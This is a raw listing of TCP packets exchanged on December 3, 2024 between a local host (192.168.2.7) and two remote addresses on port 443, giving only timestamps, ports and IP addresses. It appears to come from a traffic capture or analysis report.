Dec 3, 2024 17:41:25.540575027 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:25.540589094 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:25.586338997 CET	443	49739	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:25.586417913 CET	443	49739	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:25.586534977 CET	49739	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:25.586904049 CET	49739	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:25.586927891 CET	443	49739	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:25.586942911 CET	49739	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:25.586947918 CET	443	49739	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:25.589925051 CET	49746	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:25.589952946 CET	443	49746	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:25.590075970 CET	49746	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:25.590240002 CET	49746	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:25.590253115 CET	443	49746	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:26.810858011 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.810997009 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.812546015 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.812561035 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.812922001 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.814459085 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.815305948 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.815351009 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.815485954 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.815535069 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.815637112 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.815722942 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.815835953 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.815870047 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.815993071 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.816024065 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.816150904 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.816184998 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.816193104 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.816318035 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.816359043 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.856091022 CET	443	49742	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:26.856667042 CET	49742	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:26.856700897 CET	443	49742	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:26.857120037 CET	49742	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:26.857126951 CET	443	49742	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:26.859328985 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.859492064 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.859544992 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.859565020 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.903335094 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.903501987 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.903558969 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.903592110 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.951334000 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:26.951539993 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:26.982079029 CET	443	49743	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:26.983149052 CET	49743	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:26.983179092 CET	443	49743	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:26.983627081 CET	49743	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:26.983633041 CET	443	49743	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:26.994313955 CET	443	49741	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:26.994622946 CET	49741	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:26.994642973 CET	443	49741	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:26.994944096 CET	49741	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:26.994950056 CET	443	49741	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:26.995335102 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:27.179382086 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:27.220716953 CET	443	49744	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.221179008 CET	49744	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.221204996 CET	443	49744	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.221637011 CET	49744	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.221642017 CET	443	49744	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.299402952 CET	443	49742	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.299474001 CET	443	49742	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.299648046 CET	49742	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.299714088 CET	49742	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.299735069 CET	443	49742	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.299746037 CET	49742	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.299751997 CET	443	49742	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.303086996 CET	49747	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.303122997 CET	443	49747	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.303183079 CET	49747	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.303318024 CET	49747	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.303329945 CET	443	49747	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.426486015 CET	443	49743	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.426551104 CET	443	49743	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.426661968 CET	49743	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.426862955 CET	49743	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.426886082 CET	443	49743	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.426898956 CET	49743	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.426912069 CET	443	49743	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.432833910 CET	49748	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.432862043 CET	443	49748	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.433811903 CET	49748	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.434046030 CET	49748	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.434051991 CET	443	49748	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.436969042 CET	443	49746	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.437532902 CET	49746	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.437560081 CET	443	49746	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.437971115 CET	49746	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.437977076 CET	443	49746	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.453525066 CET	443	49741	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.453596115 CET	443	49741	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.454056978 CET	49741	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.454094887 CET	49741	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.454108000 CET	443	49741	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.454117060 CET	49741	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.454123974 CET	443	49741	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.457740068 CET	49749	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.457778931 CET	443	49749	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.458245039 CET	49749	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.458381891 CET	49749	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.458395958 CET	443	49749	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.737593889 CET	443	49744	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.737663984 CET	443	49744	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.737785101 CET	49744	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.737972021 CET	49744	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.737994909 CET	443	49744	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.738008976 CET	49744	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.738014936 CET	443	49744	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.740631104 CET	49750	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.740677118 CET	443	49750	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.740757942 CET	49750	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.740930080 CET	49750	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.740945101 CET	443	49750	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.891124010 CET	443	49746	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.891205072 CET	443	49746	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.891356945 CET	49746	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.891604900 CET	49746	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.891627073 CET	443	49746	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.891644001 CET	49746	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.891649961 CET	443	49746	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.895522118 CET	49751	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.895569086 CET	443	49751	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:27.895663977 CET	49751	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.895802021 CET	49751	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:27.895812988 CET	443	49751	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.154055119 CET	443	49748	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.154911041 CET	49748	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.154937029 CET	443	49748	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.155406952 CET	49748	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.155416965 CET	443	49748	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.194185019 CET	443	49747	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.194940090 CET	49747	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.194966078 CET	443	49747	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.195288897 CET	49747	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.195296049 CET	443	49747	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.310354948 CET	443	49749	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.311011076 CET	49749	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.311057091 CET	443	49749	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.311526060 CET	49749	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.311532021 CET	443	49749	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.556860924 CET	443	49750	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.557446957 CET	49750	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.557463884 CET	443	49750	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.557934046 CET	49750	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.557941914 CET	443	49750	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.590645075 CET	443	49748	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.590723991 CET	443	49748	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.590804100 CET	49748	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.591094971 CET	49748	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.591119051 CET	443	49748	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.591131926 CET	49748	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.591137886 CET	443	49748	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.594619989 CET	49752	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.594679117 CET	443	49752	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.594772100 CET	49752	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.594958067 CET	49752	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.594966888 CET	443	49752	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.618007898 CET	443	49751	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.618685007 CET	49751	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.618712902 CET	443	49751	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.619225025 CET	49751	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.619231939 CET	443	49751	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.640687943 CET	443	49747	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.640764952 CET	443	49747	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.640959978 CET	49747	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.641227007 CET	49747	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.641252995 CET	443	49747	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.641267061 CET	49747	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.641273975 CET	443	49747	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.645550966 CET	49753	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.645589113 CET	443	49753	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.645673990 CET	49753	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.645849943 CET	49753	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.645860910 CET	443	49753	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.764206886 CET	443	49749	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.764292002 CET	443	49749	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.764378071 CET	49749	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.764658928 CET	49749	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.764683008 CET	443	49749	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.764693975 CET	49749	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.764699936 CET	443	49749	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.768511057 CET	49754	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.768527031 CET	443	49754	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:29.768635035 CET	49754	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.768851995 CET	49754	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:29.768858910 CET	443	49754	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.001446009 CET	443	49750	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.001544952 CET	443	49750	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.001669884 CET	49750	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.002085924 CET	49750	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.002105951 CET	443	49750	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.002120018 CET	49750	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.002125025 CET	443	49750	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.005351067 CET	49755	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.005393028 CET	443	49755	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.005501032 CET	49755	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.005692005 CET	49755	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.005702972 CET	443	49755	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.054125071 CET	443	49751	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.054183006 CET	443	49751	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.054339886 CET	49751	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.054573059 CET	49751	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.054594040 CET	443	49751	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.054606915 CET	49751	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.054613113 CET	443	49751	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.057987928 CET	49756	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.058026075 CET	443	49756	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:30.058114052 CET	49756	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.058289051 CET	49756	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:30.058300018 CET	443	49756	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.214831114 CET	443	49753	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.215411901 CET	49753	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.215439081 CET	443	49753	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.215924978 CET	49753	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.215929985 CET	443	49753	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.409934998 CET	443	49752	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.410640955 CET	49752	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.410670996 CET	443	49752	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.411195040 CET	49752	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.411201000 CET	443	49752	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.558087111 CET	443	49754	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.558768034 CET	49754	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.558794022 CET	443	49754	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.559262991 CET	49754	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.559267998 CET	443	49754	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.655518055 CET	443	49753	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.655591965 CET	443	49753	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.655692101 CET	49753	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.655978918 CET	49753	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.655996084 CET	443	49753	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.656013966 CET	49753	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.656019926 CET	443	49753	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.659490108 CET	49757	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.659533978 CET	443	49757	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.659621000 CET	49757	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.659805059 CET	49757	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.659821033 CET	443	49757	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.777842045 CET	443	49756	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.778520107 CET	49756	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.778548002 CET	443	49756	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.779036999 CET	49756	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.779042959 CET	443	49756	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.786571026 CET	443	49755	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.787050962 CET	49755	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.787062883 CET	443	49755	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.787508965 CET	49755	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.787513971 CET	443	49755	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.857778072 CET	443	49752	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.857836008 CET	443	49752	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.858055115 CET	49752	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.858489037 CET	49752	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.858506918 CET	443	49752	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.858520985 CET	49752	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.858525038 CET	443	49752	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.862080097 CET	49758	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.862117052 CET	443	49758	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.862199068 CET	49758	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.862349987 CET	49758	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:31.862358093 CET	443	49758	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:31.977633953 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:31.977734089 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:31.977890968 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:31.977972984 CET	49745	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:31.977992058 CET	443	49745	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:31.987950087 CET	49759	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:31.988001108 CET	443	49759	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:31.988087893 CET	49759	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:31.988756895 CET	49759	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:31.988770962 CET	443	49759	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:32.015427113 CET	443	49754	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.015501976 CET	443	49754	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.015635967 CET	49754	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.015880108 CET	49754	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.015898943 CET	443	49754	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.015937090 CET	49754	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.015943050 CET	443	49754	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.019583941 CET	49760	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.019637108 CET	443	49760	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.019722939 CET	49760	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.020243883 CET	49760	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.020262003 CET	443	49760	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.238161087 CET	443	49756	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.238229990 CET	443	49756	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.238279104 CET	49756	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.238501072 CET	49756	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.238512039 CET	443	49756	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.238523960 CET	49756	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.238528967 CET	443	49756	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.241523981 CET	49761	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.241576910 CET	443	49761	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.241662979 CET	49761	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.241821051 CET	49761	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.241835117 CET	443	49761	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.247900009 CET	443	49755	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.247955084 CET	443	49755	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.248028994 CET	49755	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.248172998 CET	49755	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.248183012 CET	443	49755	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.248193026 CET	49755	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.248198032 CET	443	49755	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.250536919 CET	49762	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.250577927 CET	443	49762	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:32.250655890 CET	49762	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.250793934 CET	49762	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:32.250806093 CET	443	49762	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.251477957 CET	443	49759	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:33.251593113 CET	49759	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:33.253285885 CET	49759	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:33.253302097 CET	443	49759	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:33.253577948 CET	443	49759	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:33.254730940 CET	49759	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:33.254754066 CET	49759	443	192.168.2.7	104.21.16.9
Dec 3, 2024 17:41:33.254822016 CET	443	49759	104.21.16.9	192.168.2.7
Dec 3, 2024 17:41:33.510176897 CET	443	49757	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.510663986 CET	49757	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.510709047 CET	443	49757	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.511136055 CET	49757	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.511142969 CET	443	49757	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.716597080 CET	443	49758	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.717298031 CET	49758	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.717329025 CET	443	49758	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.717681885 CET	49758	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.717691898 CET	443	49758	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.801763058 CET	443	49760	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.802263021 CET	49760	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.802290916 CET	443	49760	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.802731037 CET	49760	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.802736044 CET	443	49760	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.966680050 CET	443	49757	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.966744900 CET	443	49757	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:33.966801882 CET	49757	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.966975927 CET	49757	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:33.966995001 CET	443	49757	13.107.246.63	192.168.2.7
